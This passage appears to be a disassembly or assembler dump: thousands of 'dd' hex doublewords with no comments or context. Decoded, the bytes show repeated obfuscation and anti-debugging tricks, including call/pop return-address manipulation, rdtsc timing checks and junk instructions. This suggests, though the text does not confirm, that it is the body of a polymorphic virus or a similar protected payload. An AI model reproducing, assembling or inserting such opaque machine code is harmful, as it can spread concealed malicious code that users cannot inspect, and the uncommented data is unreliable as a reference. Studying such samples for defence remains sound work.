		dd 28Fh, 61DC8A00h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 3BC35141h, 27FFBD8Ch,	0E93CE51Ah, 10h
		dd 0B0E0F81Eh, 103D61E6h, 86B72A3Fh, 696636ABh,	2E985C7h
		dd 3064Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 14F799C3h, 9D8906F8h, 64D037Dh
		dd 0B795BD83h, 0F000650h, 5584h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 2CEF99Ch, 42D42630h
		dd 48E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0F4A59BEh, 682h, 0DBD8B00h, 0F064D20h
		dd 3050D9BFh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0BDBD8BC0h, 52064D1Ah, 835BFA8Ah,	4D02E9BDh
		dd 850F0306h, 445h, 6830Fh, 85290000h, 64D0D91h, 0B795BD83h
		dd 0F000650h, 42C84h, 819D0B00h, 0F064D1Fh, 0B5FFF8BFh
		dd 650B795h, 549B589h, 95FF064Dh, 64D2D99h, 0C1BBC9BFh
		dd 0DAB70F42h, 0B789B58Bh, 0BD290650h, 64D2951h, 106C7h
		dd 0B5890001h, 64D0721h, 52506096h, 0E1166CBBh,	0B0310F31h
		dd 61585A11h, 8B605050h, 11E8C3h, 0CB0000h, 757DF527h
		dd 0F925FBEAh, 8B7871A5h, 5E4BC507h, 6A965B61h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0E5F3C352h, 1B7861BBh, 0B5FFC2C8h, 650B795h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 8BC35646h, 0FF4288ECh
		dd 4D308D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 5523BE72h, 10E884h, 653A0000h, 10BAE66Bh
		dd 2C1C3F32h, 81674D51h, 7E9D0E1h, 0E1000000h, 8629D4A3h
		dd 8B5B08A5h, 50B789B5h, 719D0106h, 0F064D14h, 858BFFB7h
		dd 64D2385h, 24458D29h,	8166064Dh, 894DF3D7h, 0C486h, 0E416BF00h
		dd 958B0FF8h, 64D0599h,	83FAB70Fh, 6A04C2h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 66FC2FC3h
		dd 8903DBBFh, 9AB72050h, 0CBF0858Dh, 6A0650h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 16A3DBC3h
		dd 619D2BD3h, 89064D0Ah, 0B886h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6AF8ACA4h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0B7B97EE1h, 546F154Fh, 8B665B4Bh, 95B5FFDAh
		dd 600650B7h, 23419D8Bh, 810F064Dh, 1, 95FF61F5h, 64D2431h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8EC35242h
		dd 0A7380EF5h, 8D091EAAh, 64D1FB9h, 6696FD8Ah, 6050F88Bh
		dd 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 6A966158h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0F778C357h, 0B795B5FFh, 6A0650h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 62340CC3h, 6027C68h,	0D88BC4DAh, 11E9h, 5853AE00h, 46364B41h
		dd 61676DDDh, 0C3754C6Ch, 95FF1694h, 64D2CC1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0ECC35747h, 48D83B0Dh
		dd 220DBD23h, 0BD83064Dh, 64D32A5h, 56840F00h, 96000000h
		dd 8B605250h, 59EB8FBh,	0F612C13h, 12E831h, 0E6570000h
		dd 0FA4E6Eh, 9DFBC2BCh,	52EDDF97h, 9968E5CEh, 5A5F5F50h
		dd 66605058h, 66062CBBh, 619E87BEh, 53006A96h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B5440CAh
		dd 95B5FFDFh, 660650B7h, 82FAEB81h, 17C595FFh, 6A064Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 1EB337C3h, 0FEE38166h, 95B5FF86h, 6A0650B7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0BB2FC352h, 3C2C1963h, 1ABCCF81h, 4FBB638Eh,	0FF72467Fh
		dd 4D29B995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0C8547E02h, 8B371B55h, 4D05A59Dh
		dd 5BD8306h, 2064D15h, 5F840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0B34475C3h
		dd 8B3D2493h, 0A9858BFEh, 6A064D15h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0D5DFC357h
		dd 4CD86FE9h, 5E952h, 7FAE0000h, 5BC568D1h, 8B0000C6h
		dd 4D143DBDh, 1185C706h, 64D21h, 8B000000h, 4D0EADBDh
		dd 0F262E906h, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 4F1A31C3h, 0C18BF5BEh, 11E8h, 2C98B700h
		dd 0DDF5872Dh, 1E05529Ah, 0F267A892h, 57BF6072h, 5B66A06Dh
		dd 735858Dh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 7E0EA3C3h, 0E959AFC8h, 90B5AB1Bh
		dd 8E9h, 2512D200h, 3A380BEAh, 61B75004h, 81665790h, 5F8609CBh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0B257DC3h, 0D6D8094Dh, 0DA8B5060h, 6AF55Fh
		dd 2BADB589h, 858D064Dh, 6517567h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 2C35343h, 0B1DC605Dh, 0A5A42A7Ah
		dd 8339B7BEh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0EB566C3h, 394770F8h, 5685C781h
		dd 0E8902D21h, 0Dh, 9E8979F0h, 3CAA5D1Ch, 87F0367Dh, 5FFB8B1Eh
		dd 7E850h, 6CFA0000h, 0D826DCFFh, 0DF8B60CDh, 5B616160h
		dd 6AF590h, 5A5BD23h, 6A064Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 34C35646h, 566DDF17h, 0B18D895Bh
		dd 0FF064D11h, 4D114995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BDA3444h
		dd 4D11B99Dh, 138D8D06h, 8906509Ah, 4D0D859Dh, 6AD1FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 670BC351h, 9BFDA1FFh, 0E250994Dh,	3CE78166h
		dd 81BD832Ah, 1064D12h,	47850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 6AB0B4C3h
		dd 787B4519h, 26AF865h,	0E2DB501h, 5090064Dh, 8B90FA8Bh
		dd 3195FFDAh, 0E9064D24h, 9, 0B2B5B248h, 190EC400h, 0E85E921h
		dd 0E80000h, 5D000000h,	7571ED81h, 8D090651h, 64D1E0Dh
		dd 30699531h, 858D064Dh, 6508A57h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 95C35040h, 61A9A6D1h, 545ED61Eh
		dd 2D69BD8Bh, 5090064Dh, 8DB75052h, 0BF310F5Bh,	2C15D828h
		dd 8A50585Ah, 8D3190FCh, 64D0D6Dh, 35FF64h, 8B000000h
		dd 4D0731BDh, 25896406h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 4FC35242h
		dd 0C265BBD9h, 8B1F9ECAh, 4D2AE99Dh, 1585FF06h,	6A064D18h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 5549C356h, 2835BD09h, 0FF6A064Dh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 66C35242h, 2D8FD053h
		dd 27B19529h, 0B5FF064Dh, 64D3229h, 14E9h, 0FF01BF00h
		dd 3141FE5Bh, 7F89A874h, 3E079E42h, 5539FFAFh, 1195FFD2h
		dd 0E9064D04h, 128h, 0D118D89h,	0B0064Dh, 11820F60h, 0E9000000h
		dd 0Ch,	872E79BFh, 0C02062FCh, 5CD8DF1Ch, 114D8501h, 0E661064Dh
		dd 3171E470h, 4D14ED95h, 0F613C06h, 0EF83h, 0FA8B6600h
		dd 2BC8B60Fh, 4D2AC99Dh, 6BA06h, 0E8500000h, 5,	8F0E823Eh
		dd 25BD897Bh, 5B064D10h, 89C18B5Fh, 4D3239BDh, 4E8C106h
		dd 7E8h, 1E74CF00h, 186DF473h, 6880Fh, 0D7810000h, 5BF63BDCh
		dd 0E2F7665Bh, 0E0D8D89h, 0C82B064Dh, 8E9h, 21031600h
		dd 0B86C0DCFh, 59D3157h, 8B064D0Ch, 31E3BBD1h, 0E907B9h
		dd 8B000000h, 4D0D8985h, 89DF8106h, 8341E956h, 0DE8B07C0h
		dd 5000C083h, 29C58531h, 3B5F064Dh, 23830FD0h, 8B000000h
		dd 4D18819Dh, 10E906h, 0B3150000h, 0DFBC2B92h, 9F8B50B8h
		dd 0B7F46D58h, 39E991A0h, 66000000h, 8D8BFB8Bh,	64D0C3Dh
		dd 83DF8B66h, 840F01E1h, 24h, 1BC1B531h, 0A583064Dh, 64D0C3Dh
		dd 2D9D01FEh, 89064D31h, 4D0D8995h, 0F9B50106h,	0E9064D2Ch
		dd 0
		dd 0FD41B58Dh, 6A0650h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0EDC35646h, 1195FF02h, 6A064D05h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 5661C351h, 9D8BB678h, 64D2E5Dh, 86CB9h, 93A5BB00h, 0E1835AA7h
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 78E3569Ah, 5BBAB3BDh, 81FCCC6Bh,	48109FEFh
		dd 0DBB70F18h, 0B8h, 0BADE8B00h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 59C35040h
		dd 0B9BD8B69h, 29064D1Eh, 4D32518Dh, 0C233AD06h, 0D003E8D1h
		dd 7504E983h, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 359D8B71h, 0E9064D2Eh, 14h, 9DD99924h
		dd 8D47F43Dh, 9DD59B25h, 0BC32E7C1h, 104C3994h,	880Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 1FCD2E5Fh, 1DBD8B1Dh, 8B064D12h,	4D059995h
		dd 0FEB70F06h, 0A72BBB66h, 51D8D8Bh, 0BB66064Dh, 0CE8259Bh
		dd 12000000h, 75E4E908h, 0F517DA4Bh, 8BE900EDh,	8B505FDFh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A4C35747h, 0DB816626h
		dd 6A4676h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 858906C3h, 64D1B79h, 40DB589h, 0BD83064Dh
		dd 64D1C45h, 9E840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 38C7C356h
		dd 1BD8B51h, 5F064D04h,	0B8h, 0C3806000h, 0F9A9BF45h, 0E9615E35h
		dd 6, 0A94A45EEh, 8D8DE83Dh, 64D4DE5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0FC35343h, 0E4DF58D1h, 0E1163113h
		dd 0BD89F5DFh, 64D0459h, 6AE1FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0A3D9A7C3h, 5C7ADB0Ch
		dd 99D89E1h, 8A064D05h,	0E9BD83FAh, 64D02h, 4E1840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 69A43EC3h, 0FC473DEEh, 5E848A2h, 0DD000000h,	293FA587h
		dd 12859D33h, 835F064Dh, 4D02E9BDh, 840F0106h, 4BAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DDC35040h, 5207A31Ah
		dd 2EAD9D89h, 8B5F064Dh, 0E9BD83DAh, 3064D02h, 44E860Fh
		dd 0CF800000h, 8E9605Ah, 1A000000h, 1C31F989h, 66EE825Eh
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0CEC327C3h, 5576D0E4h, 0E1802339h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E8C58C83h, 14h, 8EA3D368h, 0AAB9AACh, 1461FF27h, 0FB6429B2h
		dd 72DC8BEFh, 1B3DB529h, 0A5B064Dh, 2B840FC9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 9CAAC352h, 0DADCF3D8h, 0A49333D2h, 0FDD78166h
		dd 79858BD0h, 53064D18h, 0A22AE781h, 0B5F3CE5h,	4D2F61BDh
		dd 39853306h, 6A064D06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 3959C353h, 8991E91Fh
		dd 77A38A66h, 2840F50h,	0B7000000h, 240489D5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 21C35040h, 0A73BE290h
		dd 265962F7h, 89DA8B66h, 4D0AC195h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 806DC357h, 98C78BB8h, 68C1F71Ch, 0A977CD96h,	481FE8Bh
		dd 0A7366924h, 0EE856h,	0FAE20000h, 8B67172Ch, 0DA57D1D4h
		dd 1501B5FBh, 8B665BF9h, 0B195FFD8h, 89064D0Eh,	4D1ED595h
		dd 95858906h, 6A0650B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D7C7C356h,	0E9F2CA0Eh
		dd 206h, 7CC8E781h, 858B469Dh, 650B78Dh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 0F0C35343h, 0B11547BBh
		dd 1800C767h, 81000000h, 0B4FA65EBh, 91B58B17h,	0E90650B7h
		dd 9, 140C4E68h, 0C999F4FFh, 0E5858B56h, 6A064D32h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0C318C350h, 0CDFCE8C9h, 7D9D8B95h, 0BF064D0Ah, 5056A812h
		dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0C76CE2C3h, 8BDCE2A3h, 4D2DF1BDh,	79858B06h
		dd 8B064D18h, 4D1641BDh, 4468906h, 2911BD8Bh, 6650064Dh
		dd 8937F3BFh, 0B5092434h, 64D25BDh, 0B78DB5FFh,	6A0650h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0A415E2C3h, 0DE9867Eh, 0CB000000h, 40FEF81Ch, 67C77078h
		dd 26C680FBh, 4E8h, 1F03FF00h, 12E95000h, 3B000000h, 0ED986EE8h
		dd 0BC33F5E5h, 0E1A83C07h, 0C31480B9h, 24448B65h, 0BE804h
		dd 0B3B20000h, 0C6BD5DC1h, 61DBE919h, 5F5F5118h, 890F008Bh
		dd 2, 4489DE8Bh, 10E90424h, 92000000h, 885CD333h, 9C7A1B52h
		dd 53331288h, 5888F68Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 0B1C35242h, 0F487115h, 38Ah, 0B0F78000h
		dd 1874BF66h, 0B795858Dh, 6E90650h, 5F000000h, 80C8B959h
		dd 0BB66504Dh, 4892B33h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 6A659382h, 43D077FCh
		dd 0EE9h, 88017E00h, 0FFB19B41h, 2A4A4C8Bh, 0FF8E3F94h
		dd 4D0EB195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 85898A60h, 64D2B7Dh, 6061F98Ah, 14E9D08Bh
		dd 37000000h, 0FE1A8674h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh
		dd 610E05C2h, 2E985C7h,	3064Dh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 4377E5C3h
		dd 7840F29h, 60000000h,	8B666160h, 0BD0361F0h, 64D303Dh
		dd 0B795BD83h, 0F000650h, 3B84h, 2412BB00h, 4CE9224Dh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0CE85C352h, 2386FF56h,	0D630F9Dh
		dd 28F9B589h, 9D03064Dh, 64D0591h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0E8C08B00h, 14h
		dd 8F663470h, 37E98D63h, 0DFF4352Eh, 73944E60h,	621D7F0Ah
		dd 5BDF8B66h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	1EC35747h, 88631CC4h, 0E9BD8363h, 3064D02h, 43D850Fh
		dd 7E80000h, 60000000h,	0B54B3E0Bh, 0BD0146D1h,	64D0319h
		dd 95BD835Bh, 650B7h, 41D840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 6C83B4C3h
		dd 0DD8AF88Bh, 0B795B5FFh, 6A0650h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F23323C3h
		dd 6EC67886h, 810Fh, 0CB810000h, 0E1FF0C8h, 2D9995FFh
		dd 2960064Dh, 4D2FDD8Dh, 0B58B6106h, 650B789h, 13E8h, 8D3CDA00h
		dd 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h, 0B2EFACF9h, 0C75FF98Bh
		dd 1000106h, 0D5BD0300h, 50064D06h, 310F5250h, 0D98B5250h
		dd 5250310Fh, 585A310Fh
		dd 585A585Ah, 8B243489h, 4D2665BDh, 95B5FF06h, 6A0650B7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 648BC356h, 8DA0A30Dh, 0A450AB58h,	21BD8D89h
		dd 95FF064Dh, 64D308Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 70C35242h, 9F232810h,	0F9BD0E60h, 4CBB664Dh
		dd 0B58BF940h, 650B789h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 4FC35747h, 9815CE42h,	2385858Bh, 6A064Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FFC980C3h, 64E25B53h, 8166883Ah, 893006DFh,	0C486h
		dd 0A99D8B00h, 8B064D23h, 4D059995h, 959D2B06h,	83064D2Ah
		dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 2814E7C3h, 66091B57h, 970AC381h, 0E6A303BBh
		dd 20508964h, 7E8h, 92163000h, 0C2979A10h, 0BE8h, 19CDD800h
		dd 859448E6h, 0A1962311h, 24819529h, 5B5B064Dh,	2799BD8Bh
		dd 858D064Dh, 650CBF0h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 66C35646h, 0B589A5F1h, 64D332Dh, 0DE8h
		dd 0D0D59400h, 0BA154011h, 0CB49A7ADh, 9589FE8Fh, 64D21A9h
		dd 8689F55Bh, 0B8h, 68F0Fh, 9D8B0000h, 64D0AD9h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0CC6300C3h, 8BBF66CCh, 6870F2Fh, 8B000000h, 4D2E759Dh
		dd 95B5FF06h, 890650B7h, 4D2B6DBDh, 95FFFC06h, 64D2431h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A1C35343h
		dd 0FE1E39A6h, 1FF03E2Eh, 0E8F0F50h, 50000000h,	0D88B6652h
		dd 0C0BB310Fh, 5A157BBEh, 24348958h, 0AE9h, 48B78C00h
		dd 2CF0958Fh, 0FF3502C5h, 50B795B5h, 0C195FF06h, 6A064D2Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0CA07C355h, 25E2E2A1h, 62BB66FAh,	0F9E38080h
		dd 32A5BD83h, 0F00064Dh, 1284h,	0DFBF0F00h, 0FE8B6696h
		dd 0F88B6650h, 0AD9D8996h, 0FF064D29h, 50B795B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A1F77CABh, 8A6FAB05h, 6E962h, 0D8790000h, 9593B2A6h
		dd 17C595FFh, 8E0F064Dh, 5, 8972B4BBh, 95B5FF6Ch, 6A0650B7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B697C355h, 30F5D0F9h, 0C38166F3h, 95FF305Ch
		dd 64D29B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0E7C35141h, 0BD839A1Dh,	64D1505h, 5E840F02h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A009C357h, 858B24F3h, 64D15A9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 27C35040h, 0E9FE33CFh
		dd 0B70F5842h, 0C6D9h, 0CE9h, 0ABAF2A00h, 7488BE09h, 6EF5EE91h
		dd 1185C723h, 64D21h, 0E9000000h, 0FFFFF26Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 18C35343h, 66E14C58h
		dd 8BC1F7BFh, 698D89C1h, 8D064D11h, 4D073585h, 0D59D2906h
		dd 90064D0Eh, 148F0Fh, 0FE90000h, 0E000000h, 0EC778867h
		dd 0D8FE40D4h, 0BFC940B5h, 9050D3BBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0DCC35747h,	8B60C439h, 4D11A9BDh
		dd 0E2EA8106h, 61331349h, 9890Fh, 860F0000h, 3,	6A07C780h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 6683C08Dh, 6ADF8Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0ADC35747h,	1DE9BD8Bh, 858D064Dh
		dd 6518628h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	25C35141h, 0B67E54B4h, 28359D8Bh, 0C083064Dh, 94D38005h
		dd 30618D89h, 6650064Dh, 489DF8Bh, 55958924h, 6A064D11h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0AE147D7Ah, 15B882Bh, 5E943h, 0EEC50000h
		dd 6AA49EA1h, 8800F00h,	56000000h, 2E18D09h, 0FF5F064Dh
		dd 4D114995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4CD976FCh, 9A138D8Dh, 6A0650h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0AE518FC3h, 0AE8C51Eh, 0D3000000h, 6135DDDEh, 6FA28D72h
		dd 0D1FF5F1Bh, 1C860Fh,	10E80000h, 12000000h, 0A86E4E4h
		dd 0D66C83B4h, 0A18BC2ACh, 29EF1AD1h, 4D2835B5h, 0BD835F06h
		dd 64D1281h, 7B850F01h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BF95C355h
		dd 444B3931h, 9D03026Ah, 64D2945h, 13E850h, 51140000h
		dd 7C9921E5h, 20EFCA5Dh, 4032A357h, 9F3A352Ch, 8D0F31h
		dd 5F000000h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 79C5C355h, 0AC1CBFD4h
		dd 8B667CA0h, 3195FFFBh, 66064D24h, 42E9F88Bh, 0E800000Fh
		dd 0
		dd 32ED815Dh, 6A065186h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 6D1DC351h, 0F1BF66A7h
		dd 50006A83h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0ABC40B36h, 8DFA8B8Ch, 508A5785h, 0BE906h
		dd 57CD0000h, 95675126h, 9E64818h, 525090A3h, 12E85250h
		dd 28000000h, 0EC737686h, 3ECB12B0h, 0F8CA4C0Bh, 2C23C7ECh
		dd 310F5F8Eh, 0FE9h, 1CDA6E00h,	1377B5B9h, 0CFCF13FAh
		dd 0AE1265CBh, 310F585Ah, 0E950585Ah, 13h, 870A0B2Ch, 65344558h
		dd 6237FDE5h, 3650CD19h, 9017ABADh, 2F51BD89h, 0FF64064Dh
		dd 35h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1404h, 0C3534300h, 29CB80C0h, 0CEC78166h, 2589646Ah
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 26C35343h
		dd 0DE8B6928h, 0F7816653h, 0FF5F944Ch, 4D181585h, 57FF6A06h
		dd 0B5015BF9h, 64D0055h, 2705B5FFh, 0B509064Dh,	64D2EA5h
		dd 41195FFh, 46E9064Dh,	0F9000001h, 0C38100B0h,	553D92E5h
		dd 0BD8B70E6h, 64D0D9Dh, 1A890Fh, 830F0000h, 14h, 0FE9h
		dd 0AE578500h, 5BD27244h, 5C56AD43h, 59830FBDh,	816671E4h
		dd 3CF644DFh, 6830F61h,	89000001h, 4D22F185h, 0C8B60F06h
		dd 5258589h, 6BA064Dh, 0E9000000h, 12h,	968C1E17h, 0A11F41A4h
		dd 0D573B59Dh, 0FFFF45A5h, 0C18B4CC9h, 1FC59D29h, 0E8C1064Dh
		dd 66FD8A04h, 0F60E2F7h, 382h, 0F08B6600h, 0C519D31h, 2B61064Dh
		dd 0D18BF5C8h, 1B719D8Bh, 9D8B064Dh, 64D2701h, 10E9h, 6810F00h
		dd 33000000h, 4D23E59Dh, 24BF6606h, 29858BB6h, 66064D12h
		dd 0C083D88Bh, 0C870F07h, 0F000000h, 68Ah, 0D9BD8B00h
		dd 83064D26h, 12E900C0h, 3000000h, 79F87DB6h, 622E9A41h
		dd 0C636CBAAh, 0EAC0DE8Ch, 0FD03B18h, 0A83h, 4EE9F900h
		dd 66000000h, 8B3A90BBh, 4D32818Dh, 1E18306h, 3B840Fh
		dd 95090000h, 64D1E15h,	83DBBF0Fh, 4D3281A5h, 9D8BFE06h
		dd 64D25FDh, 12299589h,	12E8064Dh, 0F7000000h, 4EB5558h
		dd 864532C6h, 9BB535C9h, 0AB1D3E85h, 5FFD8A67h,	0E9h, 20B58D00h
		dd 66065107h, 64B3E381h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BF66A4C3h, 95FF463Ah
		dd 64D0511h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	11C35141h, 3F4A8BFDh, 0D62118A4h, 9589600Fh, 64D03B1h
		dd 0BD64EBB8h, 1B9611Dh, 6A000008h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EFDC353h
		dd 837824B0h, 9589FCE1h, 64D0E75h, 14B19D8Bh, 6AFC064Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0DA57C353h, 1501B5FBh, 0E458BF66h, 91958B60h
		dd 0E9064D21h, 0Eh, 9065B101h, 9A0C3426h, 35E8080Bh, 0E861AE8Eh
		dd 11h,	10325308h, 0C4F872FAh, 89BF2C6h, 837C7798h, 2850F74h
		dd 8B000000h, 0C02B5BF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
